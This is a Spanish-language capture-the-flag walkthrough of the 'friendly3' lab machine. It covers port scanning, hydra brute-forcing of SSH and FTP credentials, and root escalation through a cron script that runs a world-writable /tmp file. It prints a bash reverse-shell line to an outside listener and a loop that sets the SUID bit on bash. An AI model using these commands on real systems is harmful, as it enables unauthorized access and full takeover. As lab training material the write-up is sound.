Comenzamos con un escaneo de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.24
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 19:54 -03
Nmap scan report for 192.168.1.24
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA)
|_ 256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.49 secondsEn la web encontramos un mensaje que revela dos usuarios. Con hydra descubrimos la contraseña de juan, válida tanto para SSH como para FTP:
❯ hydra -L users.txt -P ~/Documentos/wordlists/rockyou.txt 192.168.1.24 ssh -t 64
...
[22][ssh] host: 192.168.1.24 login: juan password: alexis
...
❯ hydra -l juan -P ~/Documentos/wordlists/rockyou.txt 192.168.1.24 ftp -t 64
...
[21][ftp] host: 192.168.1.24 login: juan password: alexis
...En el FTP hay algunos .txt con mensajes. Al conectarnos por SSH obtenemos la primera flag. En /opt encontramos un script que descarga y ejecuta otro desde /tmp:
#!/bin/bash
/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash
chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash
/bin/bash /tmp/a.bash
rm -rf /tmp/a.bashPara confirmar que se ejecuta periódicamente como root, monitorizamos con pspy64 (transferido vía un servidor HTTP):
❯ python3 -m http.serverjuan@friendly3:/tmp$ curl -X GET "http://192.168.1.10:8000/pspy64" -o pspy64Verificamos que el script corre cada par de minutos. Como podemos escribir en /tmp/a.bash, creamos uno con una reverse shell y esperamos:
juan@friendly3:/tmp$ cat a.bash
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.19/4321 0>&1 >> a.bash
❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.24:39956.
bash: cannot set terminal process group (3107): Inappropriate ioctl for device
bash: no job control in this shell
root@friendly3:~#Una alternativa es un script que entre en bucle reescribiendo el archivo para que asigne el bit SUID a Bash (sorteando el rm del script original):
juan@friendly3:/tmp$ cat a.bash
#!/bin/bash
while true :
do
echo "chmod +s /bin/bash" >> /tmp/a.bash
done
juan@friendly3:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 23 2023 /bin/bash
juan@friendly3:/tmp$ bash -p
bash-5.2# whoami
rootObtenemos nuestra flag.
Fin.